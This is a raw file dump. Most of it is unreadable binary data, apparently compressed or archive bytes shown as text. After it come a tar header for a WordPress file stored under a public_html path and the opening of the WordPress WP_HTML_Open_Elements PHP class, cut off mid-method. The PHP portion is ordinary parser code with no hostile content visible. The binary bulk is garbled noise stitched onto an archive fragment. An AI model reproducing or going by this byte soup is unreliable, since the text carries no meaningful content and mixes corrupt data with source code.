�$�$����B�R�pQE��u�h�]l�*~��ϸ�����[ �k�l[�gD���1׼y�Ӕ{��[@�@�)PZ@Ei�-�l������.;~�]X*s��-.ǂ�]�'s9~�K�θ�?�jwZ��ͅ��F�Dk��Vp���T5�I|u��V\w�!����\u[�_x.$��(V񱂳�,�I����|m�4>A�m�
v>�ٞ&�U�w��w���q�d���0ei[�h@��b3�W�vV���,ay��vP8�:�������^vfe'�6@z6�1�s�?��;�?;8��ֱ���[���u�C��
��T���֑Z��S�(%����/	�O����
�{O�i8��5�L��,m�tG�,�i���_D���c�����u3q_k~_�u��#�x�3�c�翛�/wq1�����(�����F:9��)���h�À��	�,�t�g>��)��biČ�`���?�άV�A�#�P�{��p��x�7�F���U���$�7�Ֆ/���
�Z;��TKw��Ӎ<;l��'�<�
���j�0�����m�ܡQ�K7J��w��3I�[�6׹	�<g���N$M�o�6ӧ�'��`��Ζ8�y���9\΂��,ȺO���\����x��ŵM;G\��ΜlL�րג�-��h>#��a�#Đ�㷇�VhUI�X�6�S��FV��*4��gZ}2�/��m���k7�P��9��҃�7�߬�J�hU�#F_�0�3�Sm2Ѹ���b��ӻ������M<Z���±���B-�c.��Љ�j�ۡ��y���Uu!��q�m� �r�h������w� r�)���
��lz��.��0����>��� 9�N0��Y��B": �8�%�\\�6���.��1Sd��Ѳ��'F6�} ��ü��^�Z�a+n�J!ZE��3V�R�p�6�	�^\�\��e�H��pw�2f���#3�a���M�b�W��2��W3��`��J���O�]>P�.�����V��[+�l	K�"K��$uqΨ �fs�rdm���#��u�떀*���	,������m�C�J;$-o�\ڜ��lh�-{�V}�u�`A{�O�1*��ք�<\T`�|�k��*���D7�B�Ev����q́�v%�R(��߂�W͓�n�u�欳�&�꺿,��u��w��_�����=`''m,w�ꜝwO����`p+�K;z��q��<��nP�ґs&F�!�h+���H�e%�uĶ�/Zh
��om�H���A5d.�[�ƥ儚�Ex�t�>�vp�2����?�w4�F�<��j�J8�������8����\.�/��w���(p��������I�}�~��D��R(#n�7zr��F�����W^��a�>�|���n�w�����٩<�)B�6S��wg�^�|Ȳ�z�C>|Y6�t�������
#�zB\%�[�.ZT�g^7TΦ�'9�~�~�7��)�A�31�4�7w�^ݡ�\s[8�iЂ)���&
��*���Hw������XV���"߰q�6�%�ג�����K�;'��Y7�@d�r�xo}������K�P�?����%}��w���F0��%r��~��P�t�w�L-���)l۳�H.�ߑB�/�[��*�|,��(���
^7O�6"ڲ{:����(��X�6�QYےʚ���`���VA��T��DZU�� ���G}鎧��Ǘ���!.^D�
U����� RҏK����a@@�����9g݅�a�yمL)�x<��O�Z�A��Ӱwkl�:ݗ$�h��U��з�*ų��v��2��5��
�>�ývx8b�w�<LX����Xr�7�	/��d�U�M�dn��ǀOVc��+s�W�|7��Z���c��Q�<F���3�)�wfZ�+޻v��Y�]�np���e}?�߮�?��x^E[��>��xWއ�#��0McrYZh�M8̸4��*'�c�X�����v/�i�]�N���d�)(TO���n]��M%i���>_Mh�u�׬��M���*��Š��䎪��jo�PYI���'��s��&Q���;�D
i:�]�C�슾�^��?��l�z��I�&����=�;n���%�M7�����]zj@y�(�:�p�d-�(��,;��D�J�j_m-�=�\ߖUZ��;�>��l���-ٲݳrs3-f�V��"����<)���7޹.�n�OKAߕV]ʀz��J���y\����
FʬX� ~M)epOm���~k�5���d��j_���;C��`3dž��ҹ�Yh��h=�x�^Qu�
��(���6����E"0@6��(��8�s�C���ܟ�����=��Z{�rM��5OZ�w�K��W�X�P;g��;)�\߹]g�f�2{�rv:m�_����o�r�ѽ�~�BM>v�\��X��9��1F^�`�?���β�w����1��\[k>e�o�^�ّeK��}kV��r��`���܅��&�Q�d
UJ ���(˶���
2�]�e��c��H�����=I��)zd�ptX�5�n
N�5:.L@
���{���A]\��m�� �����Q���r�R��U �=��Н�7O]�?xqt�3�_���"�~��;烃V��|px��y�:uM4Ee�ؘŧ�}�iw�<z�nes��9b�V��N&�m��e�:��Mg9+{�ǟ�N�4�����*�}��R�"y����VΨ�Q>_�]\�w��p��R��?<}ǧ�R#��$qR�പ��N#P���Y��Qh�����(D�s�xs9��NT�Q�e�2DZ6_�l#H������ZfΧ�*zҚ�e(5}yjKK7UXs|R�t�Ū7dA�ɝ�/Q�[C��r@�k3m�{� I#W��޵�av&⼆����a��`}��5�$�B��~���mg��'?�b��@m��14r�a@"	��3���6��~+�T�`�
�VK�~BĬ'�A��g�BK��^N�+:|��.\%�8��;��$�΢O�{<��pՏ
�I�M�b�je�zfv��mxb����v�:*�p��K'x6_����hR$:����J��0ygu9I���חʨr�#̒в͚��$��t�nZ��)H��%Bn��7$r���c��7��4q�L����Io*��%K���r%q��<����[�87V��Pf��o#@T�ݬ�^)��rzZ�_��c��n�B)���qw�\`�!w]��m��R�� ����x���}������	q�⋥
��ߚ5��eD�5�>F�>j�\�L�aς�
+A�R|(��
\�J	�{�X�)�?�(9P9�Y<�e_W�<,�	i~���͖6?f�}��r�h�=#�ߵ�y�P)җO�����o���!�6���2J��K��\⽖�VJ��^HJ��ni�8W؇9E�-��?#���,���r�����w.��;�Q���,$x䞺:��q�[ �R��ZiD/O�YQ1S#8H�B^)�TAg���'e2D�V��7����WCp8����ƎT��%7�宬[\K���u�����|��6��0.���¡�ؠ��8�9��`�+�,��n-���Z����jlS���}T�>�k�ky��Qg�����uq�X��b����խ��	n�Qc?�d�M��=i�-i�-y����p�+��l�x��ء~�.BL�_�H�/'r��Cv�
�y��ߐ���k5�|4�T�f�/{�hs�Ȣ?���E����˾f߼ߘ����*�Ǵi
Qq�o"A>8�w�����]9��:��R�
����ʂtAb�MRF�@���^L��:>ߧ��]�� v���n����I��'���}^$o���\�(Lc2���	`�*���b����������@��H,���Qd�.#ũ}N��`�G=}u�����9M
+���_�z7g��q��=�#\'�,�i�c���j�D�d���W�Qq����W���G�~��7f�4cjPM��ڶ_�C�C���ٹM����yC
��a �0��z_�*��O"�TG*i���n:�i����e�u��]�ѻJ�Zz���$s��V�l/S���v6��5;Mu{��h8 ��f���&"��
%U�H��0)���7\&�Ar�WɎ�MOM���#[��a6d&<F$�F8�%���"'J%FI���ӤU�VI��R����<�<�'�s�E(~�e"X���e����߼�
��\��k�E#���'1A.N�#�Ȕ�`��q��_��ob�O�#�]%�}���~ܾw���|Ař�+�� ��4�K����
ܚ�.ۄD��S
�~���C}�T(�=q���%��G��+��k�7�T3���c�gx�ţ�����W8�)�WU��	c4�����&�Z���3Нכ�$U���F:����{�#-�f1%Xo�I�D�N�7g�JW<���}iW	���:���&�M����
8�Ӣ>rt���^�>wj�_���~����\ɫBI��n���a����hυ��Q�k��=�sN�r>o��^}�����?�r������|�W�B��_��s�vڇ�#�óY�r�����:>q7���{x�Bh�}��qӭv�99�M>j�sz�<�w��X���{��.������n�W��h�[�P-=�-y�l�
n���!\^)S�S�ٵ�
�WtY�%EWt!x���Z_D�D�?Y�!�'��{l��6���Ш��L��-Y1�oP��:���o�H�y��16\RG&Scy'��U!�Kj�X@�~��k�� ���s����K:���QtSH{��av�A���e�Q�"\�(�Z`ZQ_�,kF�����EP����ܕ� ǾT������λn�~J�E�v�u(yA�t�I&s5-�/u�+�����M+�!*���T4�Tg=�Fy.#C�it�&C
3��w�I�z��6�œ!�x�*G&�/�L�it~�+�p?���g܈~�zSiD(�����@@k��Qm	Ǔ.���5�QWΨK�PnQRF�,��[��'k�KX�0�?�N׵ÕQ5l�$�Mm�KL�&|-}s5�;� ���;7kӪˎU��U[u��|M�zYG�%�	B��ҚI2�6s��lM!��/�$�|s��V�CXl���MDz����n���&(M���wR^�P�r�&�3"z�)VB�pm�
�������jd�1m (����p��p�����y5�xW髕?^��n���y��qV�8gX}���\(�J��Ҿ?y�Q*������H�Ș����ԬHc�?��i7�Y��a�ц�ں��G'-z�|�2S��j���;{����;5c�\�쥠w����h>3���㜆�q|�JkB�K�R�X����J^	^���.�ك��kɑ��y�0RC}�1����%��pԥ*�+�����[	N�~�b��,�g��J���E�%�@�.��M�F���g-{�R���u3��W5r��K�D�|U��ď.����cU�k��[u}�s�YX'h*Hr�L}]��H2DL%��cҮG��n�-I�p�ѐt�i`��Rl�G��t�m;�-��m����[�0�6�)*�(IgA�*��mms#0�6��n��)/M4kRhQ Z��Z$̢}�������`���:�v�X�9��5rPV��SM��͛�F>NnE���7��dI2�&�=F���k�!�;IzajE�)o.G�Q�V[��]G��/ *o�J�`�"\[yD�6�!��ph��$4����DP0�D�}�]�_o>N"v�J���uPy`��'8��GŐ�\x�t�+ҡ
�(h���5t	��~e��!�lpª&�z�|r��$f$~�4�-�RĐ��T���{|�y.��+1A��Lu��8�L�1Z''G'��_w[���^���W .G�4O�;%̧����{GQT
�Ʃ�kV5wٯ�_Jf��m6��H�a:x/H�\��*_c+�	����z�k�{:K)�\�_��3���:8� m~
��av�ܮo�6�qN/�N��l0FQ�Y��+�#z�2��#TW^P 8��~h���
-]{b��)��	��V�yY�F�Ԍu�Os�0ә�z@]C�z���&m)� v�io�
;���NS�G����DfF��4�qOcC6���;��5^��q���T8n�:���K��Cx����`�g��b�0�a�pǞ��7�=���6v:���-�x�/Y"�,��1AD��Xg<R��~���'%�,@Ulc&X��|RJ�}4��+5IU��F;t�P�2]�s|�/3��\��F���o�1�i�K�ʺ�����o�I6E�K�YWR��QCY�9מf?3(�q����J�z��]NWp�Qf��*�Ug��ý�?}��H�eq����˖�߫��Y�r���Y�vq���e
�6r�ɐy�q���s�m�����a��~HM�#ˠ��icX�I���0�ĀM@�8j������$qߌ�I,�E4�$��q��
@
�ðA@�i��*a�[���2�]L
kE`x-|��L0�3��ƥ�0�{B@�O?��ȡ�`+��=�OC�z�{�>��R
�.M���I���фSKa)�|}ݏ�F<�Ӿ/Q��(��l>{�o���i@���i��.�3��B�‚\�)Q�2q�(�T��#�~�Y���Q_��.O*�Nb�J�}^��9��*��}+��&F%�*d
��a@�",[�]�h&��_�;: ��M8�F@�2�����?N��L�5W��S`�a�S����u�2�u���g����,��Y��X��3\�������6��Fp��(Md	�Yݦz�I%OQň�#� ��Im�E�q����I�B���lʷHj�j� !g�̴D1ᠢI1WU�3G&pe�fd���Q�}#�F,����� �d�&�̣����'S8B��LP��\y���03���3�sػ���g���1��ՐK?���˽b"8�s��,�T��W���mRڋD��\P�-�=�=�=#��-��7Pt_�V1rZ7�\���,a�
'��`ZS>4G-9���o�9�o�s؈{G�my���)E;�g��K����C�}��W��pop�}{���b>��A1pb-�`�����������ȩ^pDq�>�����}ѿB~�
t�8ٓ�4?pȯv%!@��3�G�4	A*��d�@*�&������V`��E�q��^n�x��E>��_�����892s�'����<3���?>�Ʉ�Ԛ��)|�>�Z��Uv
_�F8ϲķ��=j�U�/��hu-�u%�Z&Ұ4���,ӡ�
f	�
��	sn8z�l�s�f����,��lV����~ an�! b��6��/���,(�_��>�B1	҆���da��Z�[2U���a�I6�E4P�w��O�(�hU+�h�8T��᫒G������6}Tw�I�5��Ip�Mpw7�� �G@�%�!��*jm���U*
4GW�)��ݯ�q��XG�q7XKUhG:�s�gC{Z�&r,���=,�P�zI��3p�o���[_���^��`r�,bljs�v�hM�Ġ@ϧ�ӶTr&��z*��<�I�����!�'���Bͽ�:/���B�IE�����ݺ�	|ă��_�/ՏP��e�T��ixq�&�ѳ
~�?�77v�7�&�4w��Z=�Y�**S9A=�R�\y�@�d������b�)9y�DqΉ�Y�/:�I[��O�^��?�$�S�6b?��<ɋ��Y�}��i����.%�S��5)�e��s�X�7]�j
��T&�%\�>1W46P$�JR�y�����tt�O��%��-)M ��ٮ���DK����c�i���)�nS8��D[p��L;��t$�"wt.�ɗ��=L%:R��'R���	,mj��Z���ݹkQ�㠶u�u�w�11Jλ߸ӂ�e��_{8�]
0��/��l6y���f#ZX��+P�)d�2�YYO�_ֵ�+�~;N�Q
��1�2U��3�zɤ�ə� d�	��L�`8MAy�ސe+�n2�t�5�d$��8s_֮dƎ8B]��O��@�C� dg4$��H�5�v����D��!���B? �Ad�u��Ii�k���\�����ų�2(-A	�j�Pi��*��p?{&�F������A�ëhK|�ԧ_n�i/�y�*�;r���?p}�(-�%@���K��tU	z�v���g�8����̥<��@MM34����!r����+�����2�b
&.����"��ND�
����/ST�T�q��\��3��L���/�f[+,2��3�s�n�ǥ׹� K�U�,�!2w�\�3���� {��-S�=�T�,3���S�Am��t�jR��#�p��-i��gYDՔR���	�G����I>�`?ITP$����SB�d�������f�=�ŕ
h�Fg��&g%H����E.�X�%����Uic�����Ɓj�A���#)lL��se��ŢG,J�+���R�7�
�Ma��.���U������ {]]���
���>���Ri��ʭ�'��cB���`<9��A���4��
6෶�h���Y����`�Oa�;�L4�X�xP�YĢ�f�\a�7U�؏��s�&���mP�  N��i���2[��^��2� �L�P9T���Ԅ�kWy8!_;FaI���`ڗhbJ<:�`�sI�ؔ�Eb�D��)"\���:=)�<����ي]���5�W����.sQ]j�H&��S�t�L�Q�S8GHEI�\�OQ4ﲤV{��~��H�
�x5OZM�$d/a8b� �9��e<��M vJ]]���U�����;Y���K�l������b.�QQQ
�-��@X�`�av�I��‹�ƊاT~��mF��.�%Y��M��E=@5?�pS
~�O�a�y�i�a��#z��qqT��R�N\u%ը�r:CVi�ō�V�0�$�iO"]ԇ��O���>�L"+���[NJ��@����c1�'���ש��'i$a�6HDt~�x��d�(��̰��j:'��g�ij:sK�ǯ�%�C2b�5(P���߸��Lɂ������89��3v��;D��|~rv��[ww�贵ו�*ޠp����w��w��'ۇ��#{]������q�����y���Š�!;�sXT�va��r:H��5=�����)/
�@0�M��4�r���G�J%n��a"&2sd�?��$J=��	+wes���f�?���_��os��ƢLh"+'79�Jh�����_���n��:(�2��.е)Np�A=�9�:�sz���˕!&v9|�F��]-�	'PR�Z�L��}Jį�aKAd+kA��Ht.���Y<���.��qIU����Ƌ��*.���}���աUԁ&"ƣK,��>���E!�<���a0��q�\ӆb��D�᪁���!���Wc����tG��%*j$'�$�>�ra�c:+���8��h����p^jW��Zs���c&�W�=�H�/�	�+O�P��^wTT}�@�y1���Tgs��T)_d<�J���#V�YI
�Z�.�� �!��x滸T^�l��/�ZYɉ7]�±T-�`��4�}��4J*){W�@�>\W>��Y�c'�oHn��HZ����35'��4O��n	$f�
�E�-�
b�X2�]5)TR~ۡ�h��	�7�̅k�
� (b<�f���x��S�[#���2�Ŝ���:���c�6��\C�"%]��Ǿt�4�����=���g�J���Aa����"Қ�X�s�19Z�>c�	���(��Q���d��&��Yo��0x�Ǡw��y��o�v��?N�A�$eK�&�х��"��zב��w�vqc$(,4�
�3v��?	�c��x8�Rn��E�f�R>�q%�׶R��DJd/������*{�3W���:a*'���(��#�~�M���]F0�C��a�5�"�Qo�U��L��GO�چ��Q���W��
Ĝ��Vnba59M�@��I��Is���=��$�����|Xώ�ͮKc#X
N+���k� ��^���Co:��k�#�	�R��X�-���)k�=g&DU��f��S>u�t.���75��:L����AK�G�&�ZU�VBF����P3��D�-[f`��Zo!b�:���m0���'q}6Y�ܛ(U��Q�5xd��i|���=T��/b�'H��΋w�-EĊ�
�#m����4l�
����CRgə�fƠ��e<��aYZ7)�H�F��c8�L����c~h�In1��4�L��U�oD\	�J�8	�lr�&w��V1WQ
������sܷ�(�R�D���-ԙR�(ɘm�"�{�-��k��7��Q!H��[/��Ȯ���̩
Ȍy�=�������M"`��u��1)��1D	"eP�e��s.�
�"�=4DC�L�,��ȉ�4�@�D\�|�D����tz�bt��`L����T��~��g�(b��I�r�i�ayަ�q�6����s��]�UoG���X��_�W�p6Ө��ީ\�rL�J*d3�Ϫ����b�<q�M�]�U�����V(�I�4+�]�5��w��Ji"+5^��HEεu饢�L�/����W�����r�i��p�0x\�ɛHNT�����Ȯ��A(O�M���[M��Q�G1I��A����z���*���p�7UfG�
� 'ap�2�� c�R�1�A2rRI�M8�i1ڥ�
���c�:�Np �1��^M�I��>�>��/�.��)�^��K1�]{���2޷������[�)�<�����.��b��ǟk~�&�z
�[H�.7@�Iy���J�E즃�B�:޵/�wͻ99��[�L�S^QB���l�[���p�dZi���]Mn�茕�ЈB"�U��n��l	U��x� s�TW�oD"(Gߖ�/��	�x>�Ӟ�8
�5-��_F��AE[��0֐���U��<�BlU޲��:�@
��}9����.��_�ܬ������7�m>o=m'��/��*�����2}ۮ�����>]gB
Q�=6`Sr��Hj����?�pW�J�i�5��JF��q&Ώ"��t�����YA�FryIUh���*��/�'�*f���h��ͺ��I2�WR1n
)T,e��t��:�B<*��F����
^����MJ�{�un�Ȅx��]�ވ��8ם��_�N'@��	��M��������[���-z��r
�����(�{��F�����/�Ց' ;�-�:?-T�R��"�����?�Y~|S-��䁮ʹ�I�y_r�h)�E<�3j����
n)ƾH�4ǽ�^/i�!+R�E�8��@�ѩx/��=�<�;G������$��I$�l����	7~�zq	#N:A�O��U��-� ���(�8q{�тBN����<�V"�D
d�7�`�?�)p�E>��ţ�}��vI����y|���³��s�sΡqUרE䤚x'"�Cc�<k�dş[���y[1�h�i�E?��aK^�L+:3�M��/���h�ߞM<�Y�d3���%J[�6Ѓ��Z�(���A&)��D��Y��1��c,1KʑK�Z��c�DvcsMo�͢\�$�')�,��v�9���I|%�UdQEcl��h���-��s������:
��N�MΥ�	���Bu5I������ہ�x�v�i12�LDG���EV}sew�C��2����u�)"��Px�R��#�*���`D� �����}� iIJ����_�N��n�X䎣��&
pl��",�ɳ��)�-?:c"`x�/��:�����RU�٠b�t)0�&>�����7�
�X������> 3Z��C�ђ/��Px�De
��$(������;����Ł�'g���:�M�9n���02~�ˆ�C�' DJr����[�D�Z���4j������n�%S.}�(a�}ϟ�l��4��{�q��s*��u��;X?��������wηT��OO�}iD���E5E	�FO�^�T�ލj���
���N���{����#p�\#h_��=W��,��K>�n�uo��.[��݃V���^�[������&"���X���׾���c�99��tK�ň;w��D�Q%w�h�-�Ug&sl�^��]�|�XF�|b��-Dd�A�pexf�`����e������c)��\�!g��bezrp����u��Mb�H6��~Q�����z#S�.8(D?�s�h�Er?%)�6�
_�/Ov��Xw�����_��3v}u1�8�ja�������%�y�mq��­�t>��UӼ
Rg>�������q{����o�ZxC�o��X�.��N�{�٢dz����T��A|�R,����Ih�+����´K�Ǝ��9{5 �9�j�
R����k{�D���CM�̟�C�C}x�\��?��_v�7	w%]X�`���̪o_�4~Q�bI��l(��j��.�R��U�ث����(�˴mt��U��*�s_�5^�+��e�#�I	��Vi��(2⓲��Zs)9p?��?���0�:�,�O�H-U]��`��\�>�!�����r�Е��~��br�v���{z�7�^�Da������H=�y��F��E����_�%�þ-�
���R���.נ���R=KU8�ѻtB��Tk�b���y���:��MP�n��gL�I��+V0΂�6��?z±�س�����л5s�=�!�]]��p|���KO��;g]�F�ž��[g���z��1�}|�@�\0K�FX��EK�l6�b�.� �^}��;V�U��
zם���S�E���Q��}��W�–��G���x�.��C��Q'��-l�U�f�aMR�=�cu�pU�PEv��G�0[ذ/t�*�1��}g�.\bU�(��S��pA���iM��ś£��$�TɡR��@���i��|��Oz~O�O���0�I{neU��fZfd��+�v[Hש�]��StC���k��0I1��Q�*��(���S��H�����d�d���yq�ۡ6���n�>��S駕�Y	.�h����s�Gk���
���i7(V1k�3�$L��o$"=�!m�͢�2�����A#�K�:1W��ޜJ��@U4o�,̓ȡ�G��p�QN�f�^YB����0�'��=�?�҃\��.-�OnF�mT�-͝h����`&�%��zDC��,�슁����̂.=UQT�[�dg�Y�?n�$w��B0"ͮ�u�S�'��CISί�WJܳem|#~���:M�V�����)�Kys�ySA�ՁG(�$��T��L+t8�����d/�C%�L��������	��pG@d��ԆO�z:=�6�b$�U�ߊ-�n��3��_��	��D�S�K�s��s��2��$��|���c���MD�%���'MU�."��@5�>e5l�P�U�*��G׉��\��06P�Yt�_�|�����Ʃ��MT�h��69ߜ��ɩiuѭ�nПa��`��A���E��\�Q�w�tݸk*h[���5>tի����K�WM[���3p�7A=�
�qOߊ{�Ͱ�c��
���f�நp�s���"���C��������_0O�|r�t�ߔ���j�ir&l������d�n����܍|S�'f�����?랈��.PZ�!���D��TP6����PS`w�G�/��FC����ٓ��?_͸��۱���:��lD����&N�s��U�M�3In6L]���Ӊژ������O����52-9�r��e�d�{0�p(4ž�2dw�
��'d_���%��6��ōs�"���])�1k���b� �g���<�OW�d:^m��`:h�(�7�h���K�g���=7���`n�̋b�5_���³n-�,@+��ô)hcH��䤙�����di�𣙛�eqs��.ρK�*B��&�{�����u�-�cqˈ-�w�ø[W�=�Y�>��C����f���PP�țL<{��y�:m�gU�g�IA��N��Z����
j�s��)����T�WѹW�d_�M G�c�tNIV1��|4�s冹(�!�w����W���o�F��N�(���=���[/�NZ6u��K!�����h1�# ��6���E��x
{�$��='z{n��O	.D X�ʼn��<��������t1| �[5�O���\ꗘ���.���/�qC�U�*i<�1��r�4P��V1BU/����XpN�/p_<���Ϋ�z�(U\[]In���7�yN3F@��>�,��![���m��=��o
H��v&"�|pa�/��9+X>�Ϣ�K���l�$���#�郌�l�c%8�;����c��?�2�}�|v��[�)�ѓ+16����
�h�I]D�M��X���S�L4;�����@z��] ����i~��Q�+G?o��5k����_�َ�{���U�-���E*}ۿ.z���=��cvp�g��r%D�`�
�qD̍��Fo_p��
W�R�=�!q��d.���=WX'�6��
\�|侱����=W�%>3"b	� W$�Hb��S@u�7B��8�����;�j�0�'%D�r+gl�4D-n~ڃGg��r;��+�DU<��H�5��mn�;���v�P�3�Lɘ�ff��tuft���Pm��K���.�ޗ��������_]g*qS�
Ō�.�\�8�Ԓ��d�g;o�E��V�eߡ�IN���~R�u�9�jxC���QzT�]
��.�g3��b�/�
\461W�Y�+�����Q��i�E�e�+�p=L)���2%�$3l�#������!�{(�C�gE,⨗�n����ޫCYc���Q�.7�%x6��+�Z�,��
T���I�'R�\��_�W&V��M�/s��mPT2�0�0���j�U�7��f�ARE�d�c�p
n��rA9z��VL�KUDӛϧbVJt?�%7X-�X���V���lٌ������fk�J���S�;V5�)�>��a.`3��6�]�;:�z3���b�}�9;,����J"%9�#%
J�1�sM�ŒL邀,ǭ�́�h��� ��\/!�ް�uW�y9���.��D��Hr��J���+�g&!�T�����22=�d��w;]!��	'���Za��m5�E4B�p�⫑�m��)8�"���S��֖����(��<!j⡓���{n�<�:��e�V8G0�|�ja׫���H5x��kЯ5���Ql�� �]�+�c�(��nA���	��|W5JP�?�0���Qpٔ^�[�+"$�#�iZ��"I3�9��JTU!���0�����7��_9�j��T샃��9��\�C���R>�>F6za~[��DHj�U{��5�_�-��C+/�'�S�!��~T�+7��U���E�$��䙘KŁ��붱��5ͪ�����#Źl(+����X^��*�_�v�-j�
Жj�!��>��i-�eP�ԡ��㶊��ei������<����	!�kŌ��H�e�d���w� b�+Y��j��%�O�����uF1��/��8Tq�ey��J��0���Yց�G���&�K���D�̺�%E:\]�h��6u�,��vBS�jt��$x/�A��ʭ�,i�\��b3��F7��F~�fkyX)�f��0�@�9�H?\��/ə2Vn�o��T�'�~l�� ���i�R:X
�k�/�I�0���=L3m�x��1y����ЩS	�U4G�B�!�6��H>���Aȓ�Y�*��k����Ӱ�7|u^�2s�bn��2�8�V��N�Zecܷ��p���6�fs�nDT�JR�܏��N��r�ꞔ��ZsU�UsS����Q��e_��}�-�s���g��ƥ8<R��(|ȕsC����eI_7r	��e��U��:h!��#*9�84]�8�|u��X�/IEcU>�A$��P�4t�(�O���S�����(jg��)��صF�#�oy�N'�x���au�w�D[��8��:����O�s�+O��—	���s�Գ�뾞k��o����Z����z���d헇G�s�J�;��⥾��K��!��<<<�4�:��PE=|���q9����H9u�@uA�z�&,���K��ź,U��t�
�����c��zP��̮�~F|��gj���n���E���=���V��j��R�-2X��\5ro[�꘬�(�2���m�J
�= ���ak�C���Q��1�(��jJ̥]�"���L'��?�0z���ar�����U7��*-�ӥ��"������v@�Xip�U����y(t�T
�XGlT�Ӿt��#����څ̭�i&�����D�g��t���v�˧����ڪ`�<�%SPi'Σ�bQ|�&���|��o��37=�l���6��78~[���{{'��2I�y|��*!���I�Y�U��[ ����^�wϛ�U_�8:,���Gg�{e���~����N)t��/��싳N�L<T)Y%߶;�2��G���p���뽲��:�~�1��f���웲)�P��y�l~/ڭ���RT{�~Y����I��bj`�^�?(�
S��+��/ʾ���?�}�U�_�}�M���S�U���¹W�oar���v�ֶ^�}sx|V��ߵ���U��eZ�~��үN;�ò�4ۥza��/g�����J����f�=<<��W�G���_����J"��Ҩ2D9n�Tʾۇ������]���V�d�U闻E*P�|ytv�[:���JY����G��͒�*T���}�
_��S��9��仲]�T���+##���n�=+�Jy�_|��_����	�;�"�����2�[�Z�mٝ�o+�=���Vt��K^(�A�L_ϡ�s%�p��eN�A�
Vf�������w�hQX.BL����1�D��!]����KSP�4�a���_�Nz��~b���b��~�^XO�G�7�ыBv�p��J�H3� |�dsfk98�2g.���!��������"M��Sy���/3��p	��2�B@�+E�
ѥTZ�L���+$�
y��W/2p%��"�E��!./#���6+2�(��XET&&�~ԡ��R�V���U���[�}F��Y�E��<[��F뛚�à6�.����F�=�g�
�=r;�O�H�Οj���{t	��3�n�"�W<�4��t6�
���Ј�阃n~�I�g�B�!E��ߖ�X��ul�Æ^�~�[�s2�tJ���Z��Ctȏ�Q��W_���
iM�7�;P�PBl��1
j�4�v��<��2��M���
$����;W,�-� 0I�'n�	X�rJ�)�����n��+��pM���:e/q�*��e�:`�߳�_�}�цp�(1��W��A�0�g������+�nu>!��RP���
�T��gn
�`0 -'\�Um�Ud=Ж�x0�X׺��L��y��V�9�~:�Ѡ���.�v��/� �P���Dž/
 r���ط�6��9��y@���u����,M�p�����`��(��ö�⾼�r��T5��,�ڋ��������Mn���./w��g�놿	'��ra(�)8>9�m��vA����+@8���z�ʉ�-v:�I���%율�a�:�+9i��잝���r���+�ɬ��	�WS�8�e\g�Ϛq&�u,�
��vC�

`4�t�Ӎ�,�J�������������I���s�[b������#�Sk�Y
B�f�i�u���k�u��>?:��y��)�	;�`���0���c��坍(c�GN \�
;�ʺ:�L�R�o�FbQ����T�e4�V�޶�u���"\4"z�@Y�J�$���9���$Mc�Z�%bWf���֔�Lpj-��2�v@�,��3�u���&>ؑ�!9*#����M��u{I	��(~R���rp�:o��P_:g�{tx�99��
�G��+��,�6��ꪚ$�Tr������%�c	�y{�|�������ϲ?�?���HPKE�N\��U�^^#class-wp-html-open-elements.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-open-elements.php000064400000053716151440301130023526 0ustar00<?php
/**
 * HTML API: WP_HTML_Open_Elements class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for managing the stack of open elements.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * > Initially, the stack of open elements is empty. The stack grows
 * > downwards; the topmost node on the stack is the first one added
 * > to the stack, and the bottommost node of the stack is the most
 * > recently added node in the stack (notwithstanding when the stack
 * > is manipulated in a random access fashion as part of the handling
 * > for misnested tags).
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see https://html.spec.whatwg.org/#stack-of-open-elements
 * @see WP_HTML_Processor
 */
class WP_HTML_Open_Elements {
	/**
	 * Holds the stack of open element references.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Token[]
	 */
	public $stack = array();

	/**
	 * Whether a P element is in button scope currently.
	 *
	 * This class optimizes scope lookup by pre-calculating
	 * this value when elements are added and removed to the
	 * stack of open elements which might change its value.
	 * This avoids frequent iteration over the stack.
	 *
	 * @since 6.4.0
	 *
	 * @var bool
	 */
	private $has_p_in_button_scope = false;

	/**
	 * A function that will be called when an item is popped off the stack of open elements.
	 *
	 * The function will be called with the popped item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @var Closure|null
	 */
	private $pop_handler = null;

	/**
	 * A function that will be called when an item is pushed onto the stack of open elements.
	 *
	 * The function will be called with the pushed item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @var Closure|null
	 */
	private $push_handler = null;

	/**
	 * Sets a pop handler that will be called when an item is popped off the stack of
	 * open elements.
	 *
	 * The function will be called with the pushed item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @param Closure $handler The handler function.
	 */
	public function set_pop_handler( Closure $handler ): void {
		$this->pop_handler = $handler;
	}

	/**
	 * Sets a push handler that will be called when an item is pushed onto the stack of
	 * open elements.
	 *
	 * The function will be called with the pushed item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @param Closure $handler The handler function.
	 */
	public function set_push_handler( Closure $handler ): void {
		$this->push_handler = $handler;
	}

	/**
	 * Returns the name of the node at the nth position on the stack
	 * of open elements, or `null` if no such position exists.
	 *
	 * Note that this uses a 1-based index, which represents the
	 * "nth item" on the stack, counting from the top, where the
	 * top-most element is the 1st, the second is the 2nd, etc...
	 *
	 * @since 6.7.0
	 *
	 * @param int $nth Retrieve the nth item on the stack, with 1 being
	 *                 the top element, 2 being the second, etc...
	 * @return WP_HTML_Token|null Name of the node on the stack at the given location,
	 *                            or `null` if the location isn't on the stack.
	 */
	public function at( int $nth ): ?WP_HTML_Token {
		foreach ( $this->walk_down() as $item ) {
			if ( 0 === --$nth ) {
				return $item;
			}
		}

		return null;
	}

	/**
	 * Reports if a node of a given name is in the stack of open elements.
	 *
	 * @since 6.7.0
	 *
	 * @param string $node_name Name of node for which to check.
	 * @return bool Whether a node of the given name is in the stack of open elements.
	 */
	public function contains( string $node_name ): bool {
		foreach ( $this->walk_up() as $item ) {
			if ( $node_name === $item->node_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Reports if a specific node is in the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token Look for this node in the stack.
	 * @return bool Whether the referenced node is in the stack of open elements.
	 */
	public function contains_node( WP_HTML_Token $token ): bool {
		foreach ( $this->walk_up() as $item ) {
